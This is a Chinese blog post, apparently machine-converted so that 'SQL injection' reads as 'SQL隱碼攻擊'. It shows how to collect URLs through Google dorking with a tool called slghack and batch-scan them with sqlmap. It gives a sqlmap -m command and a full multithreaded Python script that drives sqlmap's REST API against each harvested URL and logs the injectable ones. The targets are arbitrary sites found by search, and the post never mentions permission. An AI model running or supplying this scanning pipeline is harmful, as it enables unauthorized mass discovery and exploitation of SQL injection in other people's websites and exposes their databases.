利用Sqlmap API介面聯動Google Hacking批次SQL隱碼攻擊檢測

smileleooo發表於2024-04-14

目錄
  • 前言
  • slghack自動化蒐集URL
  • Sqlmap API
  • 指令碼slghack_sqli

前言

挖掘SQL隱碼攻擊漏洞的一種方式就是透過Google Hacking搜尋那些可能存在SQL的URL,然後手工的探測注入點。但是現在的SQL隱碼攻擊漏洞的網站是比較少的了,所以這樣一個一個手工測效率有一點低。

sqlmap比較好的一點是可批次掃描多個URL中的注入點,比如這樣:

準備一個包含要掃描的URL列表的檔案(每個URL佔一行),然後使用 -m 選項指定要掃描的這個URL檔案,執行如下的命令就可以:

sqlmap -m urls.txt --batch --level=3 --random-agent --dbs

還可以使用 --threads 來指定要使用的執行緒數。

slghack自動化蒐集URL

最近寫了一個小的python爬蟲指令碼,能從Google頁面批次爬取URL。

slghack是一個基於Python第三方庫yagooglesearch開發的,使用之前需要安裝依賴: pip install yagooglesearch

專案地址: https://github.com/zhx-hex/slghack

Sqlmap API

在Sqlmap專案的根目錄下面有個sqlmapapi.py,可能很少有人注意到。

sqlmapapi.py就是sqlmap的分散式掃描sql注入,可以利用sqlmapapi.py開啟服務埠,然後向sqlmapapi傳送請求,就可以進行sql注入。

使用方法也很簡單 python sqlmapapi.py -s,在本地的8775埠就會開啟一個sqlmapapi 的服務,也可以透過 -p 指定埠。

image

sqlmapapi 沒有官方的API文件,只有一些第三方的文件。

參考文件:Unofficial SQLmap RESTful API documentation

大致工作流程:

  1. 透過GET請求 http://ip:port/task/new 建立一個新的掃描任務

  2. 透過POST請求 http://ip:port/scan/start 並透過json格式提交引數,開啟一個掃描

  3. 透過GET請求 http://ip:port/scan//status 來獲取指定的taskid的掃描狀態:一種是run狀態,一種是terminated狀態

  4. 掃描完成後獲取掃描的結果

指令碼slghack_sqli

把slghack蒐集到的URL複製到sql_urls.txt裡面,就可以多執行緒批次檢測了。

import json
import queue
import requests
from threading import Thread
from time import sleep

class slghack_sqli:
    def __init__(self, server="http://127.0.0.1:8775", urlsfile=None, output="sqli_result.txt"):
        self.server = server
        self.urlsfile = urlsfile
        self.ouput = output
        self.task_queue = queue.Queue()

    def get_urls(self):
        with open(self.urlsfile, "r") as f:
            for url in f.readlines():
                self.task_queue.put(url.strip())

    def sent_server(self):
        threads = []
        while not self.task_queue.empty():
            url = self.task_queue.get().strip()
            print(f"Target URL: {url}")
            t = Thread(target=self.scan, args=(url,))
            threads.append(t)
            t.start()

        for t in threads:
            t.join()

    def scan(self, url):
        try:
            # 透過GET請求 http://ip:port/task/new 建立一個新的掃描任務
            r = requests.get(f"{self.server}/task/new")
            taskid = r.json()['taskid']
            # 透過POST請求 http://ip:port/scan/start 並透過json格式提交引數,開啟一個掃描
            r = requests.post(
                f"{self.server}/scan/{taskid}/start",
                data=json.dumps({'url': url}), headers={'content-type': 'application/json'}
            )
            # 透過GET請求 http://ip:port/scan//status 來獲取指定的taskid的掃描狀態
            r = requests.get(f"{self.server}/scan/{taskid}/status")
            count = 0
            while r.json()["status"] == "running":
                sleep(6)
                r = requests.get(f"{self.server}/scan/{taskid}/status")
                print(r.json()["status"])
                count += 1
                if count == 30:
                    # 每個task最多跑6*30=180s結束
                    requests.get(f"{self.server}/scan/{taskid}/stop")
            r = requests.get(f"{self.server}/scan/{taskid}/data")
            requests.get(f"{self.server}/scan/{taskid}/delete")
            if r.json()['data']:
                print("Injection found: " + url)
                with open(self.ouput, "a") as f:
                    f.write(url + "\n")
        except requests.ConnectionError:
            print("Connection error!")


if __name__ == '__main__':
    # 把slghack跑的結果複製到sql_urls.txt
    ssqli = slghack_sqli(urlsfile='sql_urls.txt')
    ssqli.get_urls()
    ssqli.sent_server()

這種批次掃描,比手工測試的效率肯定要高很多。

參考文章: https://www.freebuf.com/articles/web/204875.html


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章